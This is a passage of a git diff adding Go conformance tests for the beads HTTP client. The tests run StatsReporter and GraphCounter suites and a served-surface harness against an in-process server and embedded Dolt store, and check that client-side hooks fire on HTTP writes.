conformance.StatsReporterFixture{ + IssuePrefix: "sts", + StatsReporter: reporter, + CreateIssue: e.createIssue, + CreateWisp: e.createWisp, + AddDependency: e.addDependency, + CountHistory: e.countHistory, + } + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.StatsReporterFixture) + }{ + {"CountsEveryDurableRowByStatus", conformance.RunStatsReporterCountsEveryDurableRowByStatus}, + {"ExcludesTheWispTier", conformance.RunStatsReporterExcludesTheWispTier}, + {"BreaksOutTheRowsTheDefaultListingSuppresses", conformance.RunStatsReporterBreaksOutTheRowsTheDefaultListingSuppresses}, + {"BreaksOutAGateThatIsAlsoATemplate", conformance.RunStatsReporterBreaksOutAGateThatIsAlsoATemplate}, + {"AStatusOutsideTheTalliesIsCountedOnlyInTotal", conformance.RunStatsReporterAStatusOutsideTheTalliesIsCountedOnlyInTotal}, + {"BlockedCountsTheGraphNotTheStatus", conformance.RunStatsReporterBlockedCountsTheGraphNotTheStatus}, + {"BlockedExcludesByStatusNotByThePinnedFlag", conformance.RunStatsReporterBlockedExcludesByStatusNotByThePinnedFlag}, + {"BlockedCountsEveryUnfinishedStatusNotJustOpen", conformance.RunStatsReporterBlockedCountsEveryUnfinishedStatusNotJustOpen}, + {"ReadyIsOpenMinusBlocked", conformance.RunStatsReporterReadyIsOpenMinusBlocked}, + {"SkipBlockedPairsTheTwoPointers", conformance.RunStatsReporterSkipBlockedPairsTheTwoPointers}, + {"ExtendedFieldsAreAlwaysZero", conformance.RunStatsReporterExtendedFieldsAreAlwaysZero}, + {"WritesNothing", conformance.RunStatsReporterWritesNothing}, + {"AssigneeStatsScopesToOneActor", conformance.RunStatsReporterAssigneeStatsScopesToOneActor}, + {"AssigneeBlockedCountsTheStatusNotTheGraph", conformance.RunStatsReporterAssigneeBlockedCountsTheStatusNotTheGraph}, + {"AssigneeStatsMergesTheWispTier", conformance.RunStatsReporterAssigneeStatsMergesTheWispTier}, + {"AssigneeStatsPopulatesBothPointers", conformance.RunStatsReporterAssigneeStatsPopulatesBothPointers}, + {"AssigneeStatsBreaksOutTheSuppressedRows", conformance.RunStatsReporterAssigneeStatsBreaksOutTheSuppressedRows}, + {"AssigneeStatsRefusesAnEmptyAssignee", conformance.RunStatsReporterAssigneeStatsRefusesAnEmptyAssignee}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} + +// THE WorkspaceConfig CONTRACT IS WIRED, and this block used to explain why it +// could not be. It is kept rather than deleted because the reason it gave was +// right, and because what retired it is not the reason it predicted. +// +// EVERY CASE IN THAT SUITE REACHES THE ROLE THROUGH SetSetting OR UnsetSetting — +// including the ones whose SUBJECT is a read, which seed the key they then read +// back, and including RefusesAnEmptyKey, which asserts ErrValidation from +// SetSetting("") itself. While settings were read-only over v0 (D8 row 11), a +// backend that cannot write could not adopt a suite whose every case writes, and +// the role was proved instead by two hand-written tests seeded PAST it plus one +// that pinned the two verbs as refusals naming themselves. +// +// The retirement path this block named was upstream's — "an accessor-only +// contract whose read cases seed out of band" — and that is NOT what happened. +// Upstream #5596 published both write operations and client wave ga-jpywb dials +// them, so the suite became adoptable WHOLE with no change to a single case: all +// twenty-one run in served_config_test.go, and the three hand-written stand-ins +// are gone, each having asserted a strict subset of what replaced it. +// +// THE LESSON WORTH KEEPING is which of the two retirement paths arrived. A +// contract this leg cannot adopt is a statement about the WIRE far more often +// than about the contract's shape, and rewriting a suite to accommodate a +// partial backend would have bought nothing that two operations did not buy +// outright. See D8 row 16's Lifecycle.Update ask, which is still open and is +// still the other kind. diff --git a/internal/httpclient/served_graph_counter_test.go b/internal/httpclient/served_graph_counter_test.go new file mode 100644 index 000000000..0e1e50d29 --- /dev/null +++ b/internal/httpclient/served_graph_counter_test.go @@ -0,0 +1,68 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_graph_counter_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The GraphCounter contract, run through the http client against a real bd +// serve. +// +// NOTHING IS PARKED HERE. Every member of the request is a published parameter +// and both members of the answer are required ones, so the two facts the role +// is written around cross intact: the count SPANS BOTH DEPENDENCY PLANES — a +// durable anchor's inbound count includes the wisps that depend on it, which is +// one number the server sums over two tables and this client never recomputes — +// and Missing is a SENTINEL rather than a zero, which is the whole of the +// difference between a typo and an issue with no edges. +// +// The status filter's direction=out refusal is here too, and it is the one +// refusal on this role that a client could have quietly softened: the parameter +// is legal on the operation and illegal in one direction, so a client that +// simply forwarded it would earn a 400 with a param name and pass this case for +// the wrong reason. It does not forward it: the role's own validator refuses +// first, in the role's own order. +func TestServedGraphCounterContract(t *testing.T) { + e := newServedEnv(t, "gcn") + counter, err := e.subject.GraphCounter() + if err != nil { + t.Fatalf("GraphCounter(): %v", err) + } + fixture := conformance.GraphCounterFixture{ + IssuePrefix: "gcn", + GraphCounter: counter, + CreateIssue: e.createIssue, + CreateWisp: e.createWisp, + AddDependency: e.addDependency, + CountHistory: e.countHistory, + } + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.GraphCounterFixture) + }{ + {"CountsOutboundEdges", conformance.RunGraphCounterCountsOutboundEdges}, + {"CountsInboundEdges", conformance.RunGraphCounterCountsInboundEdges}, + {"AnswersOnePerAnchorInRequestOrder", conformance.RunGraphCounterAnswersOnePerAnchorInRequestOrder}, + {"DistinguishesNoEdgesFromNoAnchor", conformance.RunGraphCounterDistinguishesNoEdgesFromNoAnchor}, + {"CollapsesRepeatedAnchors", conformance.RunGraphCounterCollapsesRepeatedAnchors}, + {"FiltersEdgesNotAnchors", conformance.RunGraphCounterFiltersEdgesNotAnchors}, + {"NarrowsInboundByDependentStatus", conformance.RunGraphCounterNarrowsInboundByDependentStatus}, + {"CountsAcrossBothPlanes", conformance.RunGraphCounterCountsAcrossBothPlanes}, + {"NarrowsAWispDependentByStatus", conformance.RunGraphCounterNarrowsAWispDependentByStatus}, + {"ResolvesIDsExactly", conformance.RunGraphCounterResolvesIDsExactly}, + {"AnswersAnEmptyRequest", conformance.RunGraphCounterAnswersAnEmptyRequest}, + {"RefusesAnUnusableRequest", conformance.RunGraphCounterRefusesAnUnusableRequest}, + {"LeavesTheRequestAlone", conformance.RunGraphCounterLeavesTheRequestAlone}, + {"WritesNothing", conformance.RunGraphCounterWritesNothing}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} diff --git a/internal/httpclient/served_harness_test.go b/internal/httpclient/served_harness_test.go new file mode 100644 index 000000000..3b11d9749 --- /dev/null +++ b/internal/httpclient/served_harness_test.go @@ -0,0 +1,540 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_harness_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "io" + "net/url" + "os" + "path/filepath" + "testing" + "time" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/httpapi" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The SERVED-SURFACE conformance harness: client → in-process bd serve → +// reference store. +// +// This is the composition design D8's lane row specifies, and it is what a +// per-role contract binds against. The binding rule is the one composition_test +// states and checkFixtureBinding enforces: SEEDING NEVER GOES THROUGH THE +// CLIENT. Every fixture below takes its seed and post-state hooks from the +// reference store the server serves, and binds only the ROLE under test to the +// http client. A fixture that seeded through the client would prove that the +// client agrees with itself. +// +// Bare RunAll is deliberately absent. Its Factory contract wants a write-ready +// store and its cases seed through raw CreateIssue and SetConfig, both of which +// this backend refuses — so it would prove nothing about a partial backend +// except that it is partial. +// +// One environment per case. Standing up an embedded engine and an HTTP listener +// per case costs about a second; sharing one across cases would make an id +// collision between two contracts a debugging session instead of a rename, and +// the contracts namespace their ids by prefix precisely so they can be run this +// way. + +// servedEnv is one client-server-store triple and the hooks a fixture needs. +type servedEnv struct { + reference *embeddeddolt.EmbeddedDoltStore + subject *Store + dataDir string + database string + prefix string +} + +const servedDatabase = "httpconf" + +// servedProjectID is the identity the in-process server publishes in its +// handshake. Most fixtures leave the client's ExpectProjectID empty and never +// consult it, but the wrong-server cases (served_wrong_server_test.go) pin the +// client against this value — one matching it, one not — to drive the +// project-identity gate (ga-b8ddd.11). +const servedProjectID = "proj-httpconf" + +// This file is the served tier's cgo half; see TestServedTierIsLinkedWhenRequired. +func init() { servedTierLinked = true } + +// skipUnlessEmbeddedDolt gates the tier on the engine it needs. +// +// It is a skip rather than a failure for a DEVELOPER, for the reason the +// embedded backend's own conformance wiring skips: the engine is a cgo-linked +// build-time capability, not a service the environment forgot to start. +// +// It is a FAILURE for the lane that stands the tier up. BEADS_HTTP_TEST_REQUIRED=1 +// is how scripts/conformance.sh and the embedded lane's +// //internal/httpclient:httpclient_served_test say "this tier is the required +// home of the served surface" — the same shape as BEADS_PG_TEST_REQUIRED for the +// live PostgreSQL tier and BEADS_TEST_EMBEDDED_DOLT for the oracle. Without it, +// a dropped env key in the lane, or a rename of the variable, would restore +// exactly the state this wiring exists to end: hundreds of served cases +// skipping themselves while the gate reports success. +// +// Two checks sit outside this one. TestServedTierIsLinkedWhenRequired fails a +// required run built without cgo, which compiles this file out. And a tier that +// stopped being invoked at all, which no in-process check can see, is a +// failure of scripts' TestBazelRetiredLanesCannotBeNarrowed, which pins +// httpclient_served_test's env to both variables. +func skipUnlessEmbeddedDolt(t *testing.T) { + t.Helper() + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") == "1" { + return + } + if os.Getenv("BEADS_HTTP_TEST_REQUIRED") == "1" { + t.Fatal("BEADS_HTTP_TEST_REQUIRED=1 but BEADS_TEST_EMBEDDED_DOLT is not 1; " + + "the served-surface conformance tier is not enforced") + } + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run the served-surface conformance tier") +} + +// newServedEnv boots a reference store, serves its roles over an in-process +// listener, and points an http client store at the bound address. The client +// pins no expected identity, so the project-identity gate is inert — which is +// what every role contract below wants, since none of them is about identity. +// +// The optional config tweaks run against the served Config after the roles are +// bound and before Listen, so a case can slow the watch cadence or serve a +// journal-OFF workspace without a second harness. They are variadic so the many +// callers that need none stay unchanged. +func newServedEnv(t *testing.T, prefix string, opts ...func(*httpapi.Config)) *servedEnv { + t.Helper() + return newServedEnvExpecting(t, prefix, "", opts...) +} + +// newServedEnvExpecting is newServedEnv with the client's ExpectProjectID +// pinned. The wrong-server cases use it to arm the identity gate the plain +// harness deliberately leaves off (ga-b8ddd.11). +func newServedEnvExpecting(t *testing.T, prefix, expectID string, opts ...func(*httpapi.Config)) *servedEnv { + t.Helper() + skipUnlessEmbeddedDolt(t) + + beadsDir := t.TempDir() + ctx := t.Context() + reference, err := embeddeddolt.Open(ctx, beadsDir, servedDatabase, "main") + if err != nil { + t.Fatalf("open the reference store: %v", err) + } + t.Cleanup(func() { _ = reference.Close() }) + if err := reference.SetConfig(ctx, "issue_prefix", prefix); err != nil { + t.Fatalf("set the issue prefix: %v", err) + } + + cfg := serveConfig(t, reference) + for _, opt := range opts { + opt(&cfg) + } + srv, err := httpapi.Listen(cfg) + if err != nil { + t.Fatalf("bind the in-process server: %v", err) + } + serveCtx, cancel := context.WithCancel(context.Background()) + done := make(chan struct{}) + go func() { defer close(done); _ = srv.Serve(serveCtx) }() + t.Cleanup(func() { + cancel() + select { + case <-done: + case <-time.After(30 * time.Second): + t.Error("the in-process server did not shut down") + } + }) + + base, err := url.Parse("http://" + srv.Addr()) + if err != nil { + t.Fatalf("parse the bound address: %v", err) + } + client, err := wire.New(base, nil, wire.Options{ExpectProjectID: expectID}) + if err != nil { + t.Fatalf("build the client: %v", err) + } + + // ExpectProjectID is the identity pin `bd connect` records and D6 checks. + // The plain harness leaves it empty so the gate is inert for the role + // contracts; the wrong-server cases pass a value to arm it. + subject := New(Target{BaseURL: base}, client, nil) + return &servedEnv{ + reference: reference, + subject: subject, + // The SQL handle addresses the engine's data directory, which the + // store creates one level under the workspace. Passing beadsDir here + // finds no database at all. + dataDir: filepath.Join(beadsDir, "embeddeddolt"), + database: servedDatabase, + prefix: prefix, + } +} + +// serveConfig binds every served role to the reference store. +// +// Every one of them is taken through the store's own capability accessor rather +// than a constructor: a store that stopped offering a role is the regression +// this catches, and a constructor call would hide it. The server refuses a +// partial role set outright, which is why there is no shortcut here. +func serveConfig(t *testing.T, s storage.DoltStorage) httpapi.Config { + t.Helper() + cfg := httpapi.Config{ + Addr: "127.0.0.1:0", + Stdout: io.Discard, + Stderr: io.Discard, + // The handshake's published identity. Role contracts never read it, but + // the wrong-server cases compare the client's ExpectProjectID against it. + Workspace: domain.ContextInfo{ProjectID: servedProjectID, Database: servedDatabase}, + } + + var err error + fail := func(name string) { + t.Helper() + if err != nil { + t.Fatalf("%s(): %v", name, err) + } + } + cfg.Reader, err = s.IssueReader() + fail("IssueReader") + cfg.Claimer, err = s.IssueClaimer() + fail("IssueClaimer") + cfg.ReadyClaimer, err = s.ReadyClaimer() + fail("ReadyClaimer") + cfg.Releaser, err = s.Releaser() + fail("Releaser") + cfg.Lifecycle, err = s.IssueLifecycle() + fail("IssueLifecycle") + cfg.Settings, err = s.WorkspaceConfig() + fail("WorkspaceConfig") + cfg.Stats, err = s.StatsReporter() + fail("StatsReporter") + cfg.CycleDetector, err = s.CycleDetector() + fail("CycleDetector") + cfg.EdgeReader, err = s.EdgeReader() + fail("EdgeReader") + cfg.GraphCounter, err = s.GraphCounter() + fail("GraphCounter") + cfg.Relations, err = s.IssueRelations() + fail("IssueRelations") + cfg.Commenter, err = s.Commenter() + fail("Commenter") + cfg.BlockingAnnotator, err = s.BlockingAnnotator() + fail("BlockingAnnotator") + cfg.TreeWalker, err = s.TreeWalker() + fail("TreeWalker") + cfg.ReadyCounter, err = s.ReadyCounter() + fail("ReadyCounter") + cfg.Counter, err = s.Counter() + fail("Counter") + cfg.Querier, err = s.Querier() + fail("Querier") + cfg.Sweeper, err = s.Sweeper() + fail("Sweeper") + cfg.Deleter, err = s.Deleter() + fail("Deleter") + cfg.BatchCreator, err = s.BatchCreator() + fail("BatchCreator") + cfg.BatchCloser, err = s.BatchCloser() + fail("BatchCloser") + cfg.DependencyEditor, err = s.DependencyEditor() + fail("DependencyEditor") + cfg.MetadataCAS, err = s.MetadataCAS() + fail("MetadataCAS") + cfg.BatchApplier, err = s.BatchApplier() + fail("BatchApplier") + cfg.Memories, err = s.Memories() + fail("Memories") + cfg.BatchGetter, err = s.BatchGetter() + fail("BatchGetter") + + // THE JOURNAL IS NOT AN ACCESSOR, alone among the roles above: it is reached + // by TYPE ASSERTION, because it is not on storage.DoltStorage and a backend + // is free not to implement it at all. This is verbatim the expression + // cmd/bd's serveJournalCursor makes. + // + // EventsJournalEnabled is hard-set rather than resolved, and it has to be: + // the flag is read per REQUEST off this config, the store's own + // SetEventsJournalEnabled is what decides whether anything is RECORDED, and + // the Journal fixture flips that after Listen has already bound. A config + // resolved from the workspace would leave every read a 409. Serving with it + // on costs the other contracts nothing — no rows exist until a case asks for + // them — and Listen refuses to bind an enabled workspace with no reader, so + // the two lines travel together. + cursor, ok := any(s).(storage.EventsJournalCursor) + if !ok { + t.Fatalf("%T does not implement storage.EventsJournalCursor; the served journal has nothing to read", s) + } + cfg.EventsJournal = cursor + cfg.EventsJournalEnabled = true + return cfg +} + +// The reference store's roles, seeded through the store rather than the client. + +func (e *servedEnv) createIssue(ctx context.Context, issue *types.Issue, actor string) error { + return e.reference.CreateIssue(ctx, issue, actor) +} + +// createWisp seeds into the EPHEMERAL plane. The flag is set here rather than by +// the caller because the contracts hand the same issue value to both hooks and +// expect the hook to decide the plane. +func (e *servedEnv) createWisp(ctx context.Context, issue *types.Issue, actor string) error { + // A NoHistory bead is routed into the wisps plane by the CREATE verb + // itself, and upstream (#5191) refuses ephemeral AND no_history on one + // row — so the flag is forced only for the plain ephemeral shape, the + // same way the Dolt role kit's CreateWisp leaves the routing to the verb. + if !issue.NoHistory { + issue.Ephemeral = true + } + return e.reference.CreateIssue(ctx, issue, actor) +} + +func (e *servedEnv) addDependency(ctx context.Context, dep *types.Dependency, actor string) error { + return e.reference.AddDependencyWithOptions(ctx, dep, actor, storage.DependencyAddOptions{EmitEvent: true}) +} + +// addComment seeds through the reference store's Commenter ROLE, which resolves +// the plane itself — so a case can cite a sweep candidate from a WISP's comment +// without knowing how the backend reaches wisp_comments. +// +// IT STAYS ON THE REFERENCE SIDE NOW THAT THE CLIENT HAS A COMMENTER of its own +// (client wave ga-f352s), and the reason is the harness rule rather than the old +// absence: SEEDING NEVER GOES THROUGH THE CLIENT. A fixture that seeded its +// preconditions through the subject would prove the client agrees with itself, +// which is exactly what the Commenter contract must not be able to do. +func (e *servedEnv) addComment(ctx context.Context, issueID, author, text string) error { + commenter, err := e.reference.Commenter() + if err != nil { + return err + } + _, err = commenter.AddComment(ctx, issueops.AddCommentRequest{IssueID: issueID, Author: author, Text: text}) + return err +} + +// seedCommentAt appends a comment to an existing thread at a chosen created_at. +// +// It is the IMPORT shape and it has to be: the served operation deliberately +// publishes no created_at member — a stored time the caller supplied makes the +// row disagree with the entry that records it — so the client's own Commenter +// cannot place a comment anywhere but now. That is what makes this the one hook +// here with no client-side equivalent even in principle, and it is why the +// timing clauses of the Commenter contract are observable at all: the seeded +// comment sits an hour from the clock, so the right answer and the wrong one are +// an hour apart rather than a runner's margin. +func (e *servedEnv) seedCommentAt(ctx context.Context, issueID, author, text string, at time.Time) error { + _, err := e.reference.ImportIssueComment(ctx, issueID, author, text, at) + return err +} + +func (e *servedEnv) setConfig(ctx context.Context, key, value string) error { + return e.reference.SetConfig(ctx, key, value) +} + +// listEvents answers ONE issue's whole event journal, which is how the update +// cases end the clause a row read cannot: RowVersion says the row did not move, +// and nothing on the row says an event was not appended beside it. +// +// The limit is 0 — GetEvents reads that as "no limit" — because every case takes +// a DELTA around the operation under test, and a truncated journal would make +// "the refusal wrote nothing" unfalsifiable. +// +// It reads the REFERENCE store like every other out-of-band hook here, and the +// reason is now the FIRST of the two this comment used to give rather than the +// second. The v0 journal is keyed on `since` and `limit` rather than on an +// issue, so asking the subject would mean paging a whole feed and projecting one +// id out of it — which is a different question from the one these cases ask. +// The second reason is gone: client wave ga-jpywb wired journalops.Journal +// (journal.go), so the client CAN read a journal, and served_journal_test.go is +// where that is proved. +func (e *servedEnv) listEvents(ctx context.Context, issueID string) ([]*types.Event, error) { + return e.reference.GetEvents(ctx, issueID, 0) +} + +// listDependencies answers one issue's outgoing edges as records, for the +// reparent cases: the clause under test is that a set ParentID "atomically +// replaces ALL parents with exactly that target", which needs the whole SET +// rather than a lookup of the new parent. +// +// It reads through the reference store's dependency-with-metadata surface, +// which resolves each target to the issue behind it, so an edge onto an id no +// plane holds is dropped. The cases assert a parent set whose every member is a +// row they seeded, so that resolution is invisible to them. +func (e *servedEnv) listDependencies(ctx context.Context, issueID string) ([]*types.Dependency, error) { + records, err := e.reference.GetDependenciesWithMetadata(ctx, issueID) + if err != nil { + return nil, err + } + edges := make([]*types.Dependency, 0, len(records)) + for _, record := range records { + if record == nil { + continue + } + edges = append(edges, &types.Dependency{ + IssueID: issueID, + DependsOnID: record.ID, + Type: record.DependencyType, + }) + } + return edges, nil +} + +func (e *servedEnv) getIssue(ctx context.Context, id string) (*types.Issue, error) { + return e.reference.GetIssue(ctx, id) +} + +// servedJournalMutations is the one-hook-per-op kit both the paged Journal and +// the pushed Watcher contracts drive, in ONE place so the two cannot disagree +// about how a mutation is made. +// +// Every hook drives the REFERENCE store, which is the harness rule and not a +// shortcut around a refusing client: two of the seven have no client-side +// spelling at all (a raw delete and a raw dependency remove are on the +// unsupported allowlist), and the question both contracts ask is whether the +// client can READ — page or stream — the journal a server wrote. +func servedJournalMutations(reference *embeddeddolt.EmbeddedDoltStore) conformance.JournalMutations { + return conformance.JournalMutations{ + Create: func(ctx context.Context, id string) error { + return reference.CreateIssue(ctx, &types.Issue{ + ID: id, Title: "t-" + id, IssueType: types.TypeTask, Status: types.StatusOpen, + }, "actor") + }, + Update: func(ctx context.Context, id string) error { + return reference.UpdateIssue(ctx, id, map[string]any{"title": "renamed " + id}, "actor") + }, + Close: func(ctx context.Context, id string) error { + return reference.CloseIssue(ctx, id, "done", "actor", "") + }, + Delete: func(ctx context.Context, id string) error { + return reference.DeleteIssue(ctx, id) + }, + AddDependency: func(ctx context.Context, from, to string) error { + return reference.AddDependency(ctx, &types.Dependency{ + IssueID: from, DependsOnID: to, Type: types.DepBlocks, + }, "actor") + }, + RemoveDependency: func(ctx context.Context, from, to string) error { + return reference.RemoveDependency(ctx, from, to, "actor") + }, + Comment: func(ctx context.Context, id, text string) error { + return reference.AddComment(ctx, id, "actor", text) + }, + } +} + +// wispExists probes the EPHEMERAL plane alone, which is the one question a +// both-plane read cannot answer: getIssue resolves the durable row first, so a +// stray wisp written under an occupied durable id is invisible to it. +// +// The create contracts need it and nothing else does yet. It is a RAW read of +// the reference store's own table, like every other out-of-band hook here — the +// client publishes no ephemeral-plane listing at all (ListWisps is on the +// unsupported allowlist), so asking through the subject would be asking the +// thing under test. +func (e *servedEnv) wispExists(ctx context.Context, id string) (bool, error) { + var rows int + if err := e.queryScalar(ctx, "SELECT COUNT(*) FROM wisps WHERE id = ?", []any{id}, &rows); err != nil { + return false, err + } + return rows > 0, nil +} + +// queryScalar is the contracts' raw-row hook. It opens its own SQL handle per +// call, the way the embedded backend's own frozen fixture kit does, because a +// held handle and a live server on the same database is a lock nobody needs. +// +// "Nobody needs" is measured, not assumed. An earlier revision of the graph-role +// wiring held one handle open for the life of the environment: the first seeding +// write after it opened never returned, the run died on Go's default ten-minute +// test timeout at 600.080s, and the panic's goroutine dump put the test inside +// embeddeddolt.(*EmbeddedDoltStore).CreateIssue blocked in the store's own +// connection acquisition, with the server goroutine parked beside it for four +// minutes. It HANGS rather than fails, which is the worst shape a gate can take +// — so the per-call open is load-bearing, and a future refactor that hoists it +// out for tidiness would reintroduce a deadlock, not a slowdown. +func (e *servedEnv) queryScalar(ctx context.Context, query string, args []any, dest ...any) error { + db, cleanup, err := embeddeddolt.OpenSQL(ctx, e.dataDir, e.database, "main") + if err != nil { + return err + } + defer func() { _ = cleanup() }() + return db.QueryRowContext(ctx, query, args...).Scan(dest...) +} + +// countHistoryMatching counts the reference branch's history entries whose +// message matches pattern, where "" means every entry and anything else is a +// SQL LIKE pattern (backend/conformance/history_matching.go states the +// convention). The wisp-naming case needs it: "no entry NAMES this wisp" is a +// claim about what an entry READS, which a bare count cannot express, and a nil +// hook leaves that clause unpinned on this tier rather than checked. +func (e *servedEnv) countHistoryMatching(ctx context.Context, pattern string) (int, error) { + query := "SELECT COUNT(*) FROM dolt_log" + var args []any + if pattern != "" { + query += " WHERE message LIKE ?" + args = append(args, pattern) + } + var entries int + err := e.queryScalar(ctx, query, args, &entries) + return entries, err +} + +// countHistory is DEFINED as the empty-pattern count, the same way the embedded +// backend's own fixture kit defines it, so the two hooks cannot disagree about +// the length of one log. +func (e *servedEnv) countHistory(ctx context.Context) (int, error) { + return e.countHistoryMatching(ctx, "") +} + +// commitPending settles everything seeded so far into the version history, so a +// later countHistory delta measures the call under test and not the seeds that +// led up to it. +// +// It runs against the REFERENCE store rather than the subject, like every other +// out-of-band hook here: the subject is an http client, which publishes no +// commit at all (CommitPending is on its unsupported allowlist), and the history +// these cases measure belongs to the store the server is serving from. +func (e *servedEnv) commitPending(ctx context.Context) error { + return e.commitMessage(ctx, "conformance: settle seeds before a history delta") +} + +// commitMessage is the same act under the caller's own message, which the +// staging fixture's Commit hook takes: those cases read `AS OF 'HEAD'` and the +// entry they settle the seeds into is named after what it settled. +func (e *servedEnv) commitMessage(ctx context.Context, message string) error { + return e.reference.Commit(ctx, message) +} + +// execRaw is the single-statement spelling of exec, which is the shape the +// staging fixture's own Exec hook takes. It is a spelling rather than a second +// implementation so both go through the per-call handle the comment on +// queryScalar explains. +func (e *servedEnv) execRaw(ctx context.Context, query string, args ...any) error { + return e.exec(ctx, []conformance.SQLStatement{{Query: query, Args: args}}) +} + +// exec runs a seeding script as ONE session, for the close/reopen cases that +// need a state no supported verb can produce. +func (e *servedEnv) exec(ctx context.Context, statements []conformance.SQLStatement) error { + db, cleanup, err := embeddeddolt.OpenSQL(ctx, e.dataDir, e.database, "main") + if err != nil { + return err + } + defer func() { _ = cleanup() }() + conn, err := db.Conn(ctx) + if err != nil { + return err + } + defer func() { _ = conn.Close() }() + for _, statement := range statements { + if _, err := conn.ExecContext(ctx, statement.Query, statement.Args...); err != nil { + return err + } + } + return nil +} diff --git a/internal/httpclient/served_hooks_test.go b/internal/httpclient/served_hooks_test.go new file mode 100644 index 000000000..1891a6589 --- /dev/null +++ b/internal/httpclient/served_hooks_test.go @@ -0,0 +1,254 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_hooks_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/hooks" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// Client-side hook parity, design D9 L11. +// +// THE POSTURE. `bd serve` runs no hooks — it says so, and its own registered- +// backend test asserts an HTTP claim does NOT run the served workspace's +// on_update. That is the SERVER's side. This file is the client's: the seam sits +// below HookFiringStore in the client process (cmd/bd's wireStorageDecorators +// composes caller → HookFiringStore → telemetry → the opened store, and a +// registered backend's store goes through that call exactly as an embedded one +// does), so a workspace connected to a server still runs its own on_update when +// its own `bd` writes. +// +// WHY IT NEEDS A TEST AT ALL. HookFiringStore decorates six role accessors, and +// each one recurses into the inner store's accessor rather than delegating +// blindly — a blind delegation would hand back the inner claimer unchanged and +// silently drop the hook every landed claim owes. Nothing forces that for a +// backend that arrived through the registry, and nothing in the tree asserted +// it: the hook-firing tests are embedded-Dolt or proxied-Dolt, and the +// registered-backend test only pins the negative. A store whose Changed flag +// came out of an HTTP response rather than a SQL row is exactly where the +// no-op suppression could quietly invert. +// +// The residue L11 records stands: the hook fires AFTER the server's commit with +// no shared transaction, so a hook that re-reads sees the server's state. + +// TestHooksFireOnHTTPWritesThroughTheDecoratorChain is the parity proof: a claim, +// an update and a close, all over the wire, each running this workspace's hook. +func TestHooksFireOnHTTPWritesThroughTheDecoratorChain(t *testing.T) { + env := newServedEnv(t, "hhk") + ctx := t.Context() + + hooksDir := t.TempDir() + updateMarker := plantHook(t, hooksDir, "on_update") + closeMarker := plantHook(t, hooksDir, "on_close") + + // The chain cmd/bd builds, with the http store where the opened store goes. + // Taking the roles off the DECORATED store rather than off the client is the + // whole subject: a command holds this interface, and the accessor is where + // each decorator adds its layer. + var decorated storage.DoltStorage = storage.NewHookFiringStore(env.subject, hooks.NewRunner(hooksDir)) + + const id = "hhk-hooked" + seed := &types.Issue{ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := env.createIssue(ctx, seed, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + + claimer, err := decorated.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer() off the decorated store: %v", err) + } + if !storage.RoleFiresHooks(claimer) { + t.Fatal("the decorated store handed back a claimer that fires no hooks; the decorator delegated instead of recursing") + } + if _, err := claimer.Claim(ctx, issueops.ClaimRequest{Actor: "worker", IssueID: id}); err != nil { + t.Fatalf("claim over http: %v", err) + } + waitForHook(t, updateMarker, "an HTTP claim") + + lifecycle, err := decorated.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle() off the decorated store: %v", err) + } + if !storage.RoleFiresHooks(lifecycle) { + t.Fatal("the decorated store handed back a lifecycle that fires no hooks") + } + if err := os.Remove(updateMarker); err != nil { + t.Fatalf("clear the update marker: %v", err) + } + if _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "worker", IssueID: id, + Patch: issueops.IssuePatch{Title: issueops.Field[string]{Set: true, Value: "edited over http"}}, + }); err != nil { + t.Fatalf("update over http: %v", err) + } + waitForHook(t, updateMarker, "an HTTP update") + + if _, err := lifecycle.Close(ctx, issueops.CloseRequest{Actor: "worker", IssueID: id, Reason: "done"}); err != nil { + t.Fatalf("close over http: %v", err) + } + waitForHook(t, closeMarker, "an HTTP close") + + // The writes are the server's, read back from the store the server serves — + // never from the client, which is the thing under test. + after, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read %s back from the reference store: %v", id, err) + } + if after.Title != "edited over http" { + t.Errorf("title after the update = %q, want the edit to have landed server-side", after.Title) + } + if after.Status != types.StatusClosed { + t.Errorf("status after the close = %q, want closed", after.Status) + } +} + +// TestTheIdempotentReclaimFiresNoHook is the suppression half, and it is the +// half an HTTP-sourced Changed flag could invert: already_claimed on a 200 means +// the SAME actor re-claimed, and reading it as a change would run the user's +// hook script once per poll for a write that never happened. +// +// PROVING AN ABSENCE. hooks.Runner.Run is fire-and-forget, so "the marker is not +// there yet" is not the same as "no hook ran", and a fixed sleep only decides +// how long the test is wrong for. The barrier here is a POSITIVE CONTROL on a +// SECOND issue: the log records one line per invocation with the issue id it +// fired for, the re-claim is followed by a genuinely-changed write on another +// row, and the assertion waits for THAT row's line. The re-claim's hook, had it +// fired, would have been launched strictly earlier — before the second write was +// even issued — so a log that reaches the barrier without it is evidence rather +// than a guess. The count is asserted as well as the contents, which is what +// catches a hook that fired for the right row the wrong number of times. 